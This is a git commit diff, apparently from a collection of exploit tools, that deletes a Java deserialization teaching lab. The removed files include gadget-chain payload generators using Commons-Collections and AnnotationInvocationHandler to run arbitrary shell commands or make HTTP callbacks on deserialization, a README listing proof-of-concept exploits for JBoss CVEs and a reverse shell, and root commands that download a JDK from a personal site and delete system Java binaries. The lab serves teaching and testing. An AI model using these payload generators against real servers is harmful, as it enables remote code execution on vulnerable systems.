优化 CVE-2017-12149 利用工具
This commit is contained in:
helloexp
parent
28cbad61ce
commit
691d4479fc
@ -1,36 +0,0 @@
|
|||||||
import java.io.IOException;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Classe serializável (implementa serializable) usada no primeiro exemplo
|
|
||||||
* para destacar os magic methods readObject (invocado automaticamente durante
|
|
||||||
* a desserializacao de objetos deste tipo) e writeObject (invocado durante a
|
|
||||||
* serializacao)
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
class Alien implements java.io.Serializable {
|
|
||||||
|
|
||||||
String name;
|
|
||||||
String source;
|
|
||||||
|
|
||||||
// magic method invocado automaticamente durante a desserializacao
|
|
||||||
// de objetos deste tipo
|
|
||||||
private void readObject(java.io.ObjectInputStream in)
|
|
||||||
throws IOException, ClassNotFoundException {
|
|
||||||
in.defaultReadObject();
|
|
||||||
System.out.println("Deserializing an object of class: "+ getClass().getName());
|
|
||||||
}
|
|
||||||
|
|
||||||
// magic method invocado automaticamente durante a serializacao
|
|
||||||
// de objetos deste tipo
|
|
||||||
private void writeObject(java.io.ObjectOutputStream out)
|
|
||||||
throws IOException {
|
|
||||||
out.defaultWriteObject();
|
|
||||||
System.out.println("Serializing an object of class: "+ getClass().getName());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,103 +0,0 @@
|
|||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.io.FileNotFoundException;
|
|
||||||
import java.io.FileOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
import java.lang.annotation.Retention;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Proxy;
|
|
||||||
import java.net.URL;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gera payload com gadget chain para realizar um HTTP GET em um endereço
|
|
||||||
* controlado pelo testador. Se for usado um domínio "hospedado" pelo testador,
|
|
||||||
* pode-se validar se o payload foi executado ao verificar os logs do servico DNS.
|
|
||||||
* Note que esse payload requer que a commons-collections vulnerável esteja
|
|
||||||
* disponível no classpath (<= 3.2.1), bem como a AnnotationInvocationHandler do JRE < 8u72
|
|
||||||
* Há outro payload, desenvolvido por Gabriel Lawrence, que permite forçar uma
|
|
||||||
* consulta DNS usufruindo apenas das classes URL e HashMap (que são serializáves).
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
|
||||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections http://www.your_domain.com
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class DnsWithCommonsCollections {
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
|
||||||
|
|
||||||
String url = args[0];
|
|
||||||
// Cria array de transformers que resulta na seguinte construção:
|
|
||||||
// new URL(url).openConnection().getInputStream().read();
|
|
||||||
Transformer[] transformers = new Transformer[] {
|
|
||||||
new ConstantTransformer(new URL(url)),
|
|
||||||
new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
|
|
||||||
new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
|
|
||||||
new InvokerTransformer("read", new Class[] {}, new Object[] {})
|
|
||||||
};
|
|
||||||
|
|
||||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
|
||||||
// Cria o map
|
|
||||||
Map map = new HashMap();
|
|
||||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
|
||||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
|
||||||
|
|
||||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
|
||||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
|
||||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
|
||||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
|
||||||
// Torna o construtor acessível
|
|
||||||
ctor.setAccessible(true);
|
|
||||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
|
||||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
|
||||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
|
||||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
|
||||||
|
|
||||||
//criado a interface map
|
|
||||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
|
||||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
|
||||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
|
||||||
|
|
||||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
|
||||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
|
||||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
|
||||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
|
||||||
|
|
||||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
|
||||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
|
||||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
|
||||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
|
||||||
System.out.println("Saving serialized object in SleepExample.ser");
|
|
||||||
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(handlerProxy);
|
|
||||||
oos.flush();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@ -1,129 +0,0 @@
|
|||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.lang.*;
|
|
||||||
import java.lang.annotation.Retention;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Proxy;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gera payload que leva a execução de código durante a desserialização.
|
|
||||||
* São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e
|
|
||||||
* ChainedTransformer, da commons-collections e a AnnotationInvocationHandler,
|
|
||||||
* do JRE, como trigger gadget.
|
|
||||||
* Note que esse exemplo (que usa a AnnotationInvocationHandler como trigger)
|
|
||||||
* deverá funcionar em sistemas com JRE < 8u72. Em sistemas com versões superiores,
|
|
||||||
* deve-se usar outro gadget como trigger, a exemplo do BadAttributeValueExpException
|
|
||||||
* ou um HashMap + TiedMapEntry, propostos por Matthias Kaiser.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* * https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
|
||||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class ExampleCommonsCollections1 {
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
|
||||||
|
|
||||||
// Verifica se o usuário forneceu o comando a ser executado
|
|
||||||
if (args.length != 1) {
|
|
||||||
System.out.println("Invalid params! \n" +
|
|
||||||
"Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
|
|
||||||
System.exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Seleciona o interpretador correto de acordo com o comando a ser executado
|
|
||||||
//boolean isUnix = System.getProperty("file.separator").equals("/");
|
|
||||||
boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
|
|
||||||
String cmd[];
|
|
||||||
if (isUnix)
|
|
||||||
cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
|
|
||||||
else
|
|
||||||
cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado
|
|
||||||
|
|
||||||
// Cria array de transformers que resulta na seguinte construção:
|
|
||||||
//((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
|
|
||||||
Transformer[] transformers = new Transformer[] {
|
|
||||||
// retorna Class Runtime.class
|
|
||||||
new ConstantTransformer(Runtime.class),
|
|
||||||
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"getMethod", // invoca método getMethod
|
|
||||||
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
|
|
||||||
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
|
|
||||||
),
|
|
||||||
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"invoke", // invoca método: invoke
|
|
||||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
|
||||||
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
|
|
||||||
),
|
|
||||||
// 3o. Objeto InvokerTransformer: .exec(cmd[])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"exec", // invoca método: exec
|
|
||||||
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
|
|
||||||
new Object[]{ cmd } ) // parâmetros: (cmd[])
|
|
||||||
};
|
|
||||||
|
|
||||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
|
||||||
// Cria o map
|
|
||||||
Map map = new HashMap();
|
|
||||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
|
||||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
|
||||||
|
|
||||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
|
||||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
|
||||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
|
||||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
|
||||||
// Torna o construtor acessível
|
|
||||||
ctor.setAccessible(true);
|
|
||||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
|
||||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
|
||||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
|
||||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
|
||||||
|
|
||||||
//cria a interface map
|
|
||||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
|
||||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
|
||||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
|
||||||
|
|
||||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
|
||||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
|
||||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
|
||||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
|
||||||
|
|
||||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
|
||||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
|
||||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
|
||||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
|
||||||
System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
|
|
||||||
FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(handlerProxy);
|
|
||||||
oos.flush();
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,79 +0,0 @@
|
|||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.lang.*;
|
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Exemplo que demonstra que um Map decorado com um LazyMap e uma ChainedTransformer
|
|
||||||
* como factory pode levar a execução de comando (através da invocação a métodos arbitrários
|
|
||||||
* via Reflexão) caso seja acessada uma chave inexistente no map.
|
|
||||||
* Esse é um dos princípios usados para executar comandos usufruíndo de gadgets que tentam
|
|
||||||
* acessar chaves inexistentes em campos (controlados pelos usuários) em seus magic methods.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
|
||||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ rm /tmp/h2hc_lazymap
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap
|
|
||||||
* $ ls -all /tmp/h2hc_lazymap
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class ExampleTransformersWithLazyMap {
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
|
||||||
|
|
||||||
String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado
|
|
||||||
|
|
||||||
Transformer[] transformers = new Transformer[] {
|
|
||||||
// retorna Class Runtime.class
|
|
||||||
new ConstantTransformer(Runtime.class),
|
|
||||||
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"getMethod", // invoca método getMethod
|
|
||||||
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
|
|
||||||
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
|
|
||||||
),
|
|
||||||
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"invoke", // invoca método: invoke
|
|
||||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
|
||||||
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
|
|
||||||
),
|
|
||||||
// 3o. Objeto InvokerTransformer: .exec(cmd[])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"exec", // invoca método: exec
|
|
||||||
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
|
|
||||||
new Object[]{ cmd } ) // parâmetros: (cmd[])
|
|
||||||
};
|
|
||||||
|
|
||||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
|
||||||
// Cria o map
|
|
||||||
Map map = new HashMap();
|
|
||||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
|
||||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
|
||||||
|
|
||||||
lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM)
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,72 +0,0 @@
|
|||||||
import java.io.FileInputStream;
|
|
||||||
import java.io.FileOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.ObjectInputStream;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.Proxy;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Exemplo didático de como usar Reflection e Dynamic Proxy para desviar
|
|
||||||
* o fluxo de execução durante a desserialização.
|
|
||||||
* Esse código gera um payload para explorar um sistema hipotético que contenha
|
|
||||||
* as classes ForgottenClass e SomeInvocationHandler no classpatch.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ rm /tmp/h2hc_2017
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1
|
|
||||||
* $ ls -all /tmp/h2hc_2017
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class ExploitGadgetExample1{
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException,
|
|
||||||
IOException, ClassNotFoundException {
|
|
||||||
|
|
||||||
// Instancia um SomeInvocationHandler
|
|
||||||
InvocationHandler handler = new SomeInvocationHandler();
|
|
||||||
Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler
|
|
||||||
fieldHandler.setAccessible(true); // torna o campo "cmd" acessível
|
|
||||||
fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd"
|
|
||||||
|
|
||||||
// criar interface Map
|
|
||||||
Class[] interfaceMap = new Class[] {java.util.Map.class};
|
|
||||||
// Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler
|
|
||||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler);
|
|
||||||
|
|
||||||
// Intancia ForgottenClass (que sera' serializado)
|
|
||||||
ForgottenClass gadget = new ForgottenClass();
|
|
||||||
Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass
|
|
||||||
field.setAccessible(true); // torna o campo "map" acessível
|
|
||||||
field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map"
|
|
||||||
|
|
||||||
// Serializa objeto do ForgottenClass e salva no disco
|
|
||||||
System.out.println("Serializing ForgottenClass");
|
|
||||||
FileOutputStream fos = new FileOutputStream("/tmp/object.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(gadget);
|
|
||||||
oos.flush();
|
|
||||||
|
|
||||||
// Desserializa objeto a partir do arquivo, para simular o que devera
|
|
||||||
// ocorrer quando o objeto for desserializado por uma aplicacao
|
|
||||||
System.out.println("Deserializing ForgottenClass");
|
|
||||||
FileInputStream fis = new FileInputStream("/tmp/object.ser");
|
|
||||||
ObjectInputStream ois = new ObjectInputStream(fis);
|
|
||||||
ois.readObject(); // <-- Inicia a desserializacao!
|
|
||||||
} //end main
|
|
||||||
}
|
|
||||||
@ -1,46 +0,0 @@
|
|||||||
import java.io.IOException;
|
|
||||||
import java.io.Serializable;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
|
|
||||||
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
|
|
||||||
* Esse gatget invoca um método de um campo (map.entrySet()) e, por isso,
|
|
||||||
* pode ser usado como trampolim para o método invoke() de classes que implementem
|
|
||||||
* InvocationHandler. No exemplo da revista, o fluxo será desviado para a classe
|
|
||||||
* SomeInvocationHandler, que contém um código que se deseja alcançar.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class ForgottenClass implements Serializable {
|
|
||||||
|
|
||||||
private Map map;
|
|
||||||
|
|
||||||
// magic method executado automaticamente durante a desserializacao
|
|
||||||
// de objetos deste tipo. Repare que é acessado um método de um camop
|
|
||||||
// controlado pelos usuários (map.entrySet())
|
|
||||||
private void readObject(java.io.ObjectInputStream in)
|
|
||||||
throws IOException, ClassNotFoundException{
|
|
||||||
in.defaultReadObject();
|
|
||||||
System.out.println("-------------------------------------------");
|
|
||||||
System.out.println("The flow is in ForgottenClass.readObject()");
|
|
||||||
map.entrySet();
|
|
||||||
}
|
|
||||||
|
|
||||||
// outro magic method invocado automaticamente durante a desserialização
|
|
||||||
private Object readResolve(){
|
|
||||||
System.out.println("-------------------------------------------");
|
|
||||||
System.out.println("The flow is in the ForgottenClass.readResolve()");
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
// método qualquer, que não é invocado durante a desserialização.
|
|
||||||
private void anotherMethod(){
|
|
||||||
System.out.println("The flow is in ForgottenClass.anotherMethod()");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,21 +0,0 @@
|
|||||||
MIT License
|
|
||||||
|
|
||||||
Copyright (c) 2017 João F M Figueiredo
|
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
|
||||||
in the Software without restriction, including without limitation the rights
|
|
||||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
copies of the Software, and to permit persons to whom the Software is
|
|
||||||
furnished to do so, subject to the following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in all
|
|
||||||
copies or substantial portions of the Software.
|
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
||||||
SOFTWARE.
|
|
||||||
@ -1,143 +0,0 @@
|
|||||||
# Lab for Java Deserialization Vulnerabilities
|
|
||||||
|
|
||||||
This content is related to the paper written for the 12th edition of H2HC magazine.
|
|
||||||
See full paper in: https://www.h2hc.com.br/revista/
|
|
||||||
|
|
||||||
Slides and video of the talk will be available soon.
|
|
||||||
|
|
||||||
>Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM)
|
|
||||||
|
|
||||||
>An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM)
|
|
||||||
|
|
||||||
Content
|
|
||||||
--
|
|
||||||
The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them.
|
|
||||||
The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments.
|
|
||||||
|
|
||||||
There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads.
|
|
||||||
|
|
||||||
Slides
|
|
||||||
--
|
|
||||||
|
|
||||||
[](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017)
|
|
||||||
|
|
||||||
|
|
||||||
Examples (PoC's)
|
|
||||||
------
|
|
||||||
|
|
||||||
* PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504)
|
|
||||||
|
|
||||||
[](https://www.youtube.com/watch?v=jVMr4eeJ2Po)
|
|
||||||
|
|
||||||
* PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)
|
|
||||||
|
|
||||||
[](https://www.youtube.com/watch?v=JIWMItSA8l0)
|
|
||||||
|
|
||||||
* PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell
|
|
||||||
|
|
||||||
[](https://www.youtube.com/watch?v=IrZOlqio0nw)
|
|
||||||
|
|
||||||
|
|
||||||
Lab Usage Examples
|
|
||||||
--
|
|
||||||
First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work.
|
|
||||||
|
|
||||||
***Getting JDK***
|
|
||||||
|
|
||||||
If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/
|
|
||||||
|
|
||||||
As **root**, run:
|
|
||||||
```
|
|
||||||
# cd /opt
|
|
||||||
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
|
|
||||||
# tar zxvf jdk-8u20-linux-x64.tar.gz
|
|
||||||
# rm -rf /usr/bin/java*
|
|
||||||
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
|
|
||||||
# java -version
|
|
||||||
java version "1.8.0_20"
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
***Getting codes:***
|
|
||||||
|
|
||||||
```
|
|
||||||
$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
|
|
||||||
$ cd JavaDeserH2HC
|
|
||||||
```
|
|
||||||
|
|
||||||
***Compiling and executing Vulnerable Web Application:***
|
|
||||||
|
|
||||||
```
|
|
||||||
$ javac VulnerableHTTPServer.java -XDignore.symbol.file
|
|
||||||
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
```
|
|
||||||
* =============================================================== *
|
|
||||||
* Simple Java HTTP Server for Deserialization Lab v0.01 *
|
|
||||||
* https://github.com/joaomatosf/JavaDeserH2HC *
|
|
||||||
* =============================================================== *
|
|
||||||
You can inject java serialized objects in the following formats:
|
|
||||||
|
|
||||||
1) Binary in HTTP POST (ie \xAC\xED). Ex:
|
|
||||||
